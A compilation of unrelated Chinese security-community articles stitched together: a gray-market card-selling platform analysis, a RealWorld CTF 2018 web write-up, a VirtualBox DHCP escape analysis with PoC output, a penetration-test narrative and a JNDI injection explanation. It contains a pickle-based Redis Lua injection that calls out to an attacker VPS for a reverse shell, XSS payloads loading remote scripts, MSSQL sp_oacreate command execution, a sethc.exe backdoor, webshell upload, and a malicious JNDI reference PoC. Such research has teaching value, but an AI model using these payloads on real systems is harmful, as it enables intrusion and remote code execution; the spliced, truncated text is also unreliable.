## 24小时自动发卡平台产业衍生分析
据相关数据显示，这类发卡平台涉及的商品种类将近数千种，商品数量超过百万。 **灰色商品主要为：账号类、影视会员卡密类、虚拟商品寄售类、软件技术类四大类。**
其中，占比最高的账号类，是黑灰产进行攻击的基础资源，所售账号种类涉及到众多行业，比如社交、电商、娱乐、生活服务等等；发卡平台另一活跃商品类型为各大影视会员卡密，包括但不限于腾讯视频、爱奇艺、优酷等。
由于此类平台众多，源码众多，云龙混杂。拥有域名、服务器、源码即可完成平台搭建。搭建难度较低，难点在于域名防拦截、支付通道、商品供货。域名拦截技术之前已经介绍过很多次，就不再赘述，这里以发卡平台的演示站为例，还原整个运作流程。
**1、商品上架**
在发卡平台管理后台，填写商品类型、名称、介绍、价格、发卡模式（自动发货、手动发货、邮寄发货）、上传商品图片，即可完成商品上线。
**2、商品发货**
在发卡平台管理后台添加卡密，填写商品类型、卡密即可添加卡密。当用户下单后，自动给下单人员发送对应的商品卡密。
**3、商品收款、提现**
在第三方支付通道进行商户注册，获得商户ID和商户密钥，将此些信息在系统设置-支付接口配置中填写，即可完成支付接口绑定。当用户付款后，在第三方支付通道进行提现。
从以上的流程可以看出， **发卡平台本质就是一个电商平台，** 只是这个电商平台售卖的产品，多与黑灰产相关，例如羊毛资源、账号资源。
## 安全课堂
发卡平台连接上游黑灰产资源方、下游资源需求方，类似一个小型的暗网黑市，已经成为了黑灰产资源供应中的重要一环，在整体黑灰产业链，起到着中坚力量。也正是由于发卡平台的泛滥，间接造就了黑灰产资源的泛滥。由于其黑灰产的属性，也意味着在资源进货、支付通道过程中都可能遭遇到诈骗。 | 社区文章 |
# 2018RealWorld-Web
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
恰逢暑假，听说长亭科技出题，于是尝试了一下，写下部分writeup
## Advertisement
题目打开有点迷，没有任何东西
下意识的进行文件泄露探测
[https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip
](https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip)
得到flag
## BookHub
拿到题目后发现有源码泄露
[http://52.52.4.252:8080/www.zip
](http://52.52.4.252:8080/www.zip)
下载下来后发现是flask框架写的
简单浏览了一下路由
发现大部分功能都是
@login_required
所以先尝试登陆
[http://52.52.4.252:8080/login
](http://52.52.4.252:8080/login)
随手尝试一下，发现
于是去跟过滤
@user_blueprint.route('/login/', methods=['GET', 'POST'])
def login():
form = LoginForm(data=flask.request.data)
if form.validate_on_submit():
user = User.query.filter_by(username=form.username.data).first()
login_user(user, remember=form.remember_me.data)
return flask.redirect(flask.url_for('book.admin'))
return flask.render_template('login.html', form=form)
跟到`LoginForm`
class LoginForm(FlaskForm):
username = StringField('username', validators=[DataRequired()])
password = PasswordField('password', validators=[DataRequired()])
remember_me = BooleanField('remember_me', default=False)
def validate_password(self, field):
address = get_remote_addr()
whitelist = os.environ.get('WHITELIST_IPADDRESS', '127.0.0.1')
# If you are in the debug mode or from office network (developer)
if not app.debug and not ip_address_in(address, whitelist):
raise StopValidation(f'your ip address isn't in the {whitelist}.')
user = User.query.filter_by(username=self.username.data).first()
if not user or not user.check_password(field.data):
raise StopValidation('Username or password error.')
再跟到`get_remote_addr()`
def get_remote_addr():
address = flask.request.headers.get('X-Forwarded-For', flask.request.remote_addr)
try:
ipaddress.ip_address(address)
except ValueError:
return None
else:
return address
发现address来自于`X-Forwarded-For`，若不存在则来自于remote_addr
那么应该是可以使用XFF伪造ip了
我们本地测试一下
发现是可以伪造的，然而题目却怎么也不行= =（不知道什么鬼）
绝望之际，发现白名单中有一个公网ip
18.213.16.123
直接打开，是没有http服务的，随手测试了flask的默认端口，有点意思
原来这才是真正的大坑，这里网站直接跑在了debug模式
迅速去看代码里的
if app.debug:
发现
@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
我们尝试这个路由
添加csrf_token
发现refresh_session()竟然存在未授权访问
（至于为什么[@login_required](https://github.com/login_required
"@login_required")写了还能未授权访问?大概是因为[@login_required](https://github.com/login_required
"@login_required")写在上面了，仔细观察，别的都写在user_blueprint.route下面）
关注到后续代码
status = 'success'
sessionid = flask.session.sid
prefix = app.config['SESSION_KEY_PREFIX']
if flask.request.form.get('submit', None) == '1':
try:
rds.eval(rf'''
local function has_value (tab, val)
for index, value in ipairs(tab) do
if value == val then
return true
end
end
return false
end
local inputs = {{ "{prefix}{sessionid}" }}
local sessions = redis.call("keys", "{prefix}*")
for index, sid in ipairs(sessions) do
if not has_value(inputs, sid) then
redis.call("del", sid)
end
end
''', 0)
except redis.exceptions.ResponseError as e:
app.logger.exception(e)
status = 'fail'
这里明显使用了redis lua,看来是要在session上做文章了
我们发现代码中具有可控点`sessionid`
并且这里存在严重拼接问题
例如
我们可以闭合双引号，并引入恶意代码，让redis去执行
(注:f是python3.6的新特性，在2018MeePwnCTF曾出现过一道使用该特性的题目，不再赘述)
我们观察到构造方法
local inputs = {{ "{prefix}{sessionid}" }}
跟一下
prefix = app.config['SESSION_KEY_PREFIX']
发现
app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:'
于是即可构造：
6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool
代码拼接后变成
$python3 main.py
{ "bookhub:session:6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool" }
显而易见，下面我们只需要思考构造`redis evilcode`即可
这里参考ph的两篇文章（当然要参考出题人写过的文章呀XD）
<https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html>
[https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html
](https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html)
其中ph的两篇文章分别有提到：
23333越看越像这道题
既然如此，我们可以给自己构造的一个session赋反弹shell的值，于是构造如下evilcode
redis.call("set","bookhub:session:skycool",反弹shell)
打完之后将自己的session改为skycool，刷新反弹shell即可
那么开始实操，我们先尝试一下curl
生成反弹shell payload代码如下
import cPickle
import os
class exp(object):
def __reduce__(self):
s = """curl vps_ip:23333"""
return (os.system,(s,))
e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
s_bypass +="string.char(%s).."%ord(i)
evilcode = '''
redis.call("set","bookhub:session:skycool",%s)
'''%s_bypass[:-2]
payload = '''
6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:skycool
'''%evilcode
print payload.replace(" ","")
然后
再然后去登录
发现自己的vps收到访问
此时眼泪哗的一下流了下来
同理反弹shell即可
## Dot Free
题目乍一看仿佛是SSRF
于是我进行了一些测试，发现ip2long：
是可以请求的，但是我尝试了自己的vps，根本收不到请求
在迷茫之际，发现源代码中
window.addEventListener('message', function (e) {
if (e.data.iframe) {
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
if (e.data.iframe.type == "iframe") {
lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
} else {
lls(e.data.iframe.value)
}
}
}
}, false);
window.onload = function (ev) {
postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
}
相当可疑
于是我查阅了一下postMessage
[https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage
](https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage)
发现
于是这进一步确实了我的想法
既然确定了问题点，那么肯定是构造payload进行测试
首先确定payload的输入点
decodeURIComponent(location.search.substr(1))
即
window.location
window的location对象
search
得到的是url中?部分
substr()
返回一个从指定位置开始的指定长度的子字符串
这里设置为1，是为了把url中的?号去掉
于是可以确定format为
http://13.57.104.34/?payload
然后是`JSON.parse`
说明要传入一个json_encode
那么根据题目的意图
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object'))
我们肯定是要bypass这段的，但是我们希望我们构造的payload是可以成功打到自己vps的
但是`//`不能使用，于是想到
http:/
这样的Bypass
并且不能使用dot，我们还是选择ip2long
然后进入if..else后
我们肯定希望程序进入
else {
lls(e.data.iframe.value)
}
因为
function lls(src) {
var el = document.createElement('script');
if (el) {
el.setAttribute('type', 'text/javascript');
el.src = src;
document.body.appendChild(el);
}
};
这样可以把我们的src添加到`document.body`
即可触发恶意操作
于是构造
尝试
http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433:23333%22}}
发现收到回显
下一步一气呵成
在自己的index.html中写入
然后再请求
http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433%22}}
即可收到
## 后记
我还是太年轻了，尽走弯路= =，感谢巨佬的中途carry，让我学到好多知识Orz | 社区文章 |
## 0x001 简介
这是前些年一组VirtualBox的逃逸漏洞。NAT模式下的VirtualBox guest虚拟机（默认网络配置）启用每个VM
DHCP服务器，该服务器为guest虚拟机分配IP地址。
renorobert@ubuntuguest:~$ ifconfig enp0s3
enp0s3 Link encap:Ethernet HWaddr 08:00:27:b8:b7:4c
inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:feb8:b74c/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:119 errors:0 dropped:0 overruns:0 frame:0
TX packets:94 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:11737 (11.7 KB) TX bytes:12157 (12.1 KB)
伪造的DHCP服务器在`10.0.2.2`的IP地址上，发送到此DHCP服务器的数据包将由host机来进行解析
renorobert@ubuntuguest:~$ sudo nmap -sU -p 68 10.0.2.2
. . .
68/udp open|filtered dhcpc
MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)
Oracle在2016年10月期间修复了两个漏洞`CVE-2016-5610`和`CVE-2016-5611`。该漏洞存在于代码`src/Vbox/Devices/Network/slirp/bootp.c`中，影响5.0.28、5.1.8之前的VirtualBox版本。
[Oracle重要补丁更新公告 -2016年10月](https://translate.googleusercontent.com/translate_c?depth=1&hl=zh-CN&rurl=translate.google.com&sl=auto&sp=nmt4&tl=zh-CN&u=https://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html&xid=17259,15700023,15700186,15700191,15700256,15700259,15700262&usg=ALkJrhizE19ukw1hSSiriSQYi0ascbG9vg)
DHCP数据包在`src/Vbox/Devices/Network/slirp/bootp.c`中定义如下：
#define DHCP_OPT_LEN 312
/* RFC 2131 */
struct bootp_t
{
struct ip ip; /**< header: IP header */
struct udphdr udp; /**< header: UDP header */
uint8_t bp_op; /**< opcode (BOOTP_REQUEST, BOOTP_REPLY) */
uint8_t bp_htype; /**< hardware type */
uint8_t bp_hlen; /**< hardware address length */
uint8_t bp_hops; /**< hop count */
uint32_t bp_xid; /**< transaction ID */
uint16_t bp_secs; /**< numnber of seconds */
uint16_t bp_flags; /**< flags (DHCP_FLAGS_B) */
struct in_addr bp_ciaddr; /**< client IP address */
struct in_addr bp_yiaddr; /**< your IP address */
struct in_addr bp_siaddr; /**< server IP address */
struct in_addr bp_giaddr; /**< gateway IP address */
uint8_t bp_hwaddr[16]; /** client hardware address */
uint8_t bp_sname[64]; /** server host name */
uint8_t bp_file[128]; /** boot filename */
uint8_t bp_vend[DHCP_OPT_LEN]; /**< vendor specific info */
};
DHCP服务器维护一个`BOOTPClient`结构数组（bootp.c），以跟踪所有分配的IP地址。
/** Entry in the table of known DHCP clients. */
typedef struct
{
uint32_t xid;
bool allocated;
uint8_t macaddr[6];
struct in_addr addr;
int number;
} BOOTPClient;
/** Number of DHCP clients supported by NAT. */
#define NB_ADDR 16
调用`bootp_dhcp_init()`在VM初始化期间初始这个数组
int bootp_dhcp_init(PNATState pData)
{
pData->pbootp_clients = RTMemAllocZ(sizeof(BOOTPClient) * NB_ADDR);
if (!pData->pbootp_clients)
return VERR_NO_MEMORY;
return VINF_SUCCESS;
}
## 0x002 CVE-2016-5611 dhcp_find_option()中的越界读取漏洞
static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
{
uint8_t *q = vend;
uint8_t len;
. . .
while(*q != RFC1533_END) // expects END tag in an untrusted input
{
if (*q == RFC1533_PAD)
{
q++; // incremented without validation
continue;
}
if (*q == tag)
return q; // returns pointer if tag found
q++;
len = *q;
q += 1 + len; // length and pointer not validated
}
return NULL;
}
`dhcp_find_option()`解析guest虚拟机在DHCP数据包中提供的`bp_vend`字段。但是，缺少正确的验证可能会返回一个在DHCP数据包缓冲区外的指针，或者如果while循环永远不会终止直到访问未映射的地址，则会导致VM崩溃。利用该漏洞，通过发送DHCP拒绝数据包去触发信息泄漏。
bootp.c:65:static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
bootp.c:412: req_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
bootp.c:413: server_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_SRV_ID);
bootp.c:701: pu8RawDhcpObject = dhcp_find_option(bp->bp_vend, RFC2132_MSG_TYPE);
bootp.c:726: parameter_list = dhcp_find_option(&bp->bp_vend[0], RFC2132_PARAM_LIST);
bootp.c:773: pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
static void dhcp_decode(PNATState pData, struct bootp_t *bp, const uint8_t *buf, int size)
{
. . .
case DHCPDECLINE:
/* note: pu8RawDhcpObject doesn't point to DHCP header, now it's expected it points
* to Dhcp Option RFC2132_REQ_ADDR
*/
pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
. . .
req_ip.s_addr = *(uint32_t *)(pu8RawDhcpObject + 2);
rc = bootp_cache_lookup_ether_by_ip(pData, req_ip.s_addr, NULL);
if (RT_FAILURE(rc))
{
. . .
bc->addr.s_addr = req_ip.s_addr;
slirp_arp_who_has(pData, bc->addr.s_addr);
LogRel(("NAT: %RTnaipv4 has been already registered\n", req_ip));
}
/* no response required */
break;
. . .
客户端发送`DHCPDECLINE`消息，表明提供的IP地址已在使用中。此IP地址是`bp_vend`字段的一部分。服务器调用`dhcp_find_option()`以获取指向`bp_vend`字段内的IP地址的指针。这里可以返回DHCP缓冲区外的指针，指向一些垃圾数据作为IP地址。
服务器首先通过调用`bootp_cache_lookup_ether_by_ip()`来检查IP地址是否已在分配的列表中。如果没有，它进一步调用`slirp_arp_who_has`来生成ARP请求，其中在DHCP缓冲区外部读取的字节为IP地址。该请求将由guest虚拟机接收，因为它的广播数据包泄漏了一些字节。
要触发此漏洞，需要发送一个`DHCPDECLINE`数据包，其中`bp_vend`填充`RFC1533_PAD`。如果没有崩溃，将触发ARP数据包，如下所示：
renorobert@guest:~$ sudo tcpdump -vv -i eth0 arp
[sudo] password for renorobert:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:51:34.557995 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 45.103.99.109 (Broadcast) tell 10.0.2.2, length 46
`45.103.99.109`是泄漏的主机进程字节。
## 0x003 CVE-2016-5610 - dhcp_decode_request()中的堆溢出
static int dhcp_decode_request(PNATState pData, struct bootp_t *bp, struct mbuf *m)
{
. . .
/*?? renewing ??*/
switch (dhcp_stat)
{
case RENEWING:
. . .
Assert((bp->bp_hlen == ETH_ALEN));
memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
bc->addr.s_addr = bp->bp_ciaddr.s_addr;
}
break;
case INIT_REBOOT:
. . .
Assert((bp->bp_hlen == ETH_ALEN));
memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
bc->addr.s_addr = ui32;
break;
. . .
}
在解析`DHCPREQUEST`数据包时，没有验证`bp-> bp_hlen`字段。断言语句Assert((bp-> bp_hlen ==
ETH_ALEN))在release版本中不编译，当将`bp_hwaddr`从伪造的DHCP数据包复制到`BOOTPClient`结构中的`macaddr`字段时，会导致堆缓冲区溢出。
`p_hlen`是一个字节，因此最大值可以是255。但是，`BOOTPClient`结构数组的大小大于`300`字节。由于没有关键数据可以破坏，因此在此数组中溢出并不是很有效。为了使这个溢出有效，我们必须到达`BOOTPClient`结构数组的末尾(`pbootp_clients`)。
`pbootp_clients`数组可以存储有关16个客户端请求`[0 ...
15]`的信息。在VM初始化期间，数组中的第一个元素已使用了访客IP地址。为了将更多客户端请求添加进该数组，guest虚拟机可以发送另外14个具有唯一信息的`DHCPREQUEST`数据包。处理第15个`DHCPREQUEST`数据包时，通过将`bp_hlen`设置为最大值来触发溢出。
由于`pbootp_clients`是在VM初始化过程中早期分配的，并且溢出限制为最多`255`个字节，因此相邻缓冲区需要有趣。在Ubuntu
16.04中测试VirtualBox
5.0.26时，相邻的缓冲区是在`src/Vbox/Devices/Network/slirp/zone.h`中定义的uma_zone结构。
# define ZONE_MAGIC 0xdead0002
struct uma_zone
{
uint32_t magic;
PNATState pData; /* to minimize changes in the rest of UMA emulation code */
RTCRITSECT csZone;
const char *name;
size_t size; /* item size */
ctor_t pfCtor;
dtor_t pfDtor;
zinit_t pfInit;
zfini_t pfFini;
uma_alloc_t pfAlloc;
uma_free_t pfFree;
int max_items;
int cur_items;
LIST_HEAD(RT_NOTHING, item) used_items;
LIST_HEAD(RT_NOTHING, item) free_items;
uma_zone_t master_zone;
void *area;
/** Needs call pfnXmitPending when memory becomes available if @c true.
* @remarks Only applies to the master zone (master_zone == NULL) */
bool fDoXmitPending;
};
此结构用于在`src/Vbox/Devices/Network/slirp/misc.c`中定义的函数。破坏`pfCtor`，`pfDtor`，`pfInit`，`pfFini`，`pfAlloc`或`pfFree`会在`NAT`线程或每个`vCPU
EMT`线程中拿到RIP控制权。
$ sudo ./poc enp0s3
[sudo] password for renorobert:
poc: [+] Using interface enp0s3...
poc: [+] Sending DHCP requests...
poc: [+] Current IP address : 10.0.2.15
poc: [+] Requesting IP address : 10.0.2.16
poc: [+] Requesting IP address : 10.0.2.17
poc: [+] Requesting IP address : 10.0.2.18
poc: [+] Requesting IP address : 10.0.2.19
poc: [+] Requesting IP address : 10.0.2.20
poc: [+] Requesting IP address : 10.0.2.21
poc: [+] Requesting IP address : 10.0.2.22
poc: [+] Requesting IP address : 10.0.2.23
poc: [+] Requesting IP address : 10.0.2.24
poc: [+] Requesting IP address : 10.0.2.25
poc: [+] Requesting IP address : 10.0.2.26
poc: [+] Requesting IP address : 10.0.2.27
poc: [+] Requesting IP address : 10.0.2.28
poc: [+] Requesting IP address : 10.0.2.29
poc: [+] Requesting IP address : 10.0.2.30
poc: [+] Overflowing bootp_clients into uma_zone structure…
gdb-peda$ c
Continuing.
Thread 11 "EMT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fd20e4af700 (LWP 27148)]
[----------------------------------registers-----------------------------------]
RAX: 0xfffffe95
RBX: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RCX: 0x0
RDX: 0x0
RSI: 0x42424242 ('BBBB')
RDI: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RBP: 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
RSP: 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0
RIP: 0x7fd1df22308e (call QWORD PTR [rbx+0x70])
R8 : 0x0
R9 : 0x0
R10: 0x7fd20d529230 --> 0x7fd1df1e5be0 (push rbp)
R11: 0x0
R12: 0x7fd1f0852080 --> 0x800
R13: 0x7fd20e4aeb90 --> 0x100000002
R14: 0x7fd1f05ea340 ('B' , "\b")
R15: 0x7fd1f05e6f30 --> 0x7fd1df21c5a0 (push rbp)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7fd1df223086: xor edx,edx
0x7fd1df223088: mov esi,DWORD PTR [rbx+0x48]
0x7fd1df22308b: mov rdi,rbx
=> 0x7fd1df22308e: call QWORD PTR [rbx+0x70]
0x7fd1df223091: test rax,rax
0x7fd1df223094: mov r12,rax
0x7fd1df223097: je 0x7fd1df2230b5
0x7fd1df223099: mov rax,QWORD PTR [rbx+0x50]
Guessed arguments:
arg[0]: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
arg[1]: 0x42424242 ('BBBB')
arg[2]: 0x0
arg[3]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0
0008| 0x7fd20e4aeb58 --> 0x7fd1f0852080 --> 0x800
0016| 0x7fd20e4aeb60 --> 0x7fd1f0852088 --> 0x7fd1dd262f88 --> 0x8ffffffffffff
0024| 0x7fd20e4aeb68 --> 0x11a
0032| 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
0040| 0x7fd20e4aeb78 --> 0x7fd1df22339f (test rax,rax)
0048| 0x7fd20e4aeb80 --> 0x7fd20e4aebb0 --> 0x0
0056| 0x7fd20e4aeb88 --> 0x7fd1f0000020 --> 0x200000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fd1df22308e in ?? () from /usr/lib/virtualbox/VBoxDD.so
gdb-peda$ x/gx $rbx+0x70
0x7fd1f05ea3a0: 0xdeadbeef00000000
以上两个漏洞的POC可以在这里下载[virtualbox-nat-dhcp-bugs](https://github.com/renorobert/virtualbox-nat-dhcp-bugs) | 社区文章 |
### 1、信息泄露
在对目标进行目录扫描的时候，发现存在目录遍历。
在目录中发现了app目录的备份文件，在备份中找到了其数据库文件。
竟然使用的是sa账户连接的！！！
主站无CDN，且IP地址与数据库配置文件中的IP不一致，典型的站库分离。
现在有Sa的账号密码，先从数据库开始渗透。
### 2、Mssql渗透
#### （1）Xp_cmdshell
使用sqlmap 直连数据库
sqlmap -d "db_type://user:pwd@ip:port/db" command
执行命令没有回显，得到其版本为2000。
尝试连接数据库手动执行命令。
Navicat不支持连接Mssql2000，这里改用Database4来连接。
Mssql2005及以上版本默认关闭Xp_cmdshell，2000可以直接调用Xp_cmdshell执行命令。
连上之后执行命令报错了
查了一下可能是因为数据库没权限创建Cmd进程。
#### （2）Sp_oacreate执行命令
sp_oacreate的劣勢是沒有回显，但是可以将命令的输出写到文件，我们再读取文件即可。
找到了Sp_oacreate两种执行命令的方式
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
在这里执行这两条命令，Database4都会直接卡死。
#### （3）Sp_oacreate粘贴键替换调用Cmd
这种方式等于是做了一个shift后门。
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
语句可以成功執行，但是调不出来，未知原因。
#### （4）Sp_oacreate读写文件
这个功能在有Web服务的时候很好用
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\tmp1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'tes1t'
查看目录结构
execute master..xp_dirtree 'e:\',1,1
查看文件内容
表名不能重复，查一次换一次表名。
### 3、代码审计
代码审计过程中，在源码中找到一个Upload功能，对上传文件没有做任何防护。会直接将上传的文件，上传到<http://主站IP:8082/upload下。>
构造html上传页面，并将其提交到app目录下的这个upload.php文件即可。
先上传一个正常"萨斯该"的图片
这里有个坑，他给的路径是错的直接访问找不到。
最后在主站下边的这个app目录下找到了
上传Webshell，刚上传一句话木马被杀了。
以为php不能上传，上传了个phpinfo可以执行，改上传冰蝎的马成功Getshell。 | 社区文章 |
作者：[n1nty](https://mp.weixin.qq.com/s/YeskekfkHhHH4kA-02W7Yg "n1nty")
一篇炒冷饭的文章，全当笔记在写了，这个漏洞涉及到 JNDI 与 RMI。 这里我主要只写一些其他的 “JNDI 注入”
分析文章没写过的东西，如果你看的不是很明白的话可以配合其他人写的分析文章一起看。
#### 需要知道的背景知识
1. JNDI 的概念不细写了，只需要知道我们通过 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS 等所谓 Naming Service 或 DirectoryService 的内容
2. JNDI API 中涉及到的常见的方法与接口的作用，如：Context.lookup
3. JNDI 中 ServiceProvider 以及 ObjectFactory 的作用
4. Reference 类的作用
5. RMI 的相关基础知识，可以看我另一篇公众号，我记的非常全。
#### JNDI Service Provider
JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP
的关系。前者是统一抽象出来的接口，而后者是对接口的具体实现。如上面提到的默认的 JNDI Service Provider 有 RMI/LDAP 等等。。
#### ObjectFactory
每一个 Service Provider 可能配有多个 Object Factory。Object Factory 用于将 Naming Service（如
RMI/LDAP）中存储的数据转换为 Java 中可表达的数据，如 Java 中的对象或 Java 中的基本数据类型。 JNDI
的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个
ObjectFactory 进行交互的。
#### PoC
public static void main( String[] args ) throws Exception
{
// 在本机 1999 端口开启 rmi registry，可以通过 JNDI API 来访问此 rmi registry
Registry registry = LocateRegistry.createRegistry(1999);
// 创建一个 Reference，第一个参数无所谓，第二个参数指定 Object Factory 的类名：
// jndiinj.EvilObjectFactory
// 第三个参数是 codebase，表明如果客户端在 classpath 里面找不到
// jndiinj.EvilObjectFactory，则去 http://localhost:9999/ 下载
// 当然利用的时候这里应该是一个真正的 codebase 的地址
Reference ref = new Reference("whatever",
"jndiinj.EvilObjectFactory", "http://localhost:9999/");
// 利用 ReferenceWrapper 将前面的 Reference 对象包装一下
// 因为只为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("evil", wrapper);
}
EvilObjectFactory
代码如下：
public class EvilObjectFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name,
Context nameCtx,
Hashtable<?, ?> environment)
throws Exception {
System.out.println("executed");
return null;
}
}
#### Victim
Victim 需要执行 Context.lookup，并且 lookup 的参数需要我们可控。
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
// ctx.lookup 参数需要可控
System.out.println(ctx.lookup("rmi://localhost:1999/evil"));
}
#### 我的疑问
最开始看到 PoC 的时候，我以为这是 RMI Class Loading 导致的受害者会去指定的 codebase
下载我们指定的类并去实例化，因此产生了很大的疑惑。
1. 因为 RMI Class Loading 是有条件限制的，比如说默认禁用，以及与 JVM 的 codebase 配置有很大的关系。
2. PoC 里面向 rmi registry 绑定 ReferenceWrapper 的时候，真正绑定进去的应该是它的 Stub 才对，Stub 的对象是怎么造成客户端的代码执行的。
因为懒，这个疑问一直存在了很长时间，直到我开始正式去调试跟一下这个漏洞看看到底发生了什么。后来我看在 marshalsec 那篇 pdf
里面也提到了这个问题。
#### Victim 端的触发流程
1.`ctx.lookup` 最终会进入 `com.sun.jndi.rmi.registry.RegistryContext.lookup`。因为传入的
jndi url 是以 rmi:// 开头的。
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
2.在 lookup 里面通过 this.registry.lookup 查找出远程对象，赋给 var2。这里的 var2 确实是
`com.sun.jndi.rmi.registry.ReferenceWrapper_Stub` 类型的。证明我的想法是没有错的，存入 rmi
registry 的确实是一个 stub。
3.进入 `this.decodeObject`
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ?
((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2,
this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
4.`this.decodeObject` 内将 stub 还原成了 Reference，这里解决了我一个疑惑。随后进入
`NamingManager.getObjectInstance`
5.`NamingManager.getObjectInstance` 内部发现当前 JVM 中不存在 Reference 中指定的 object
factory，就自动去我们指定的 codebase 地址下载（并不是利用的 RMI Class Loading
机制，所以解决了我另一个疑惑）并实例化我们指定的 Object Factory 类，并调用其
`javax.naming.spi.ObjectFactory#getObjectInstance` 方法。
#### 参考资料
* <http://docs.oracle.com/javase/jndi/tutorial/TOC.html>
* <http://www.javaworld.com/article/2076888/core-java/jndi-overview--part-1--an-introduction-to-naming-services.html>
* * * | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLabs
原文链接：<https://mp.weixin.qq.com/s/PPWd5wGwbPLffgMNPO70EA>**
## **简介**
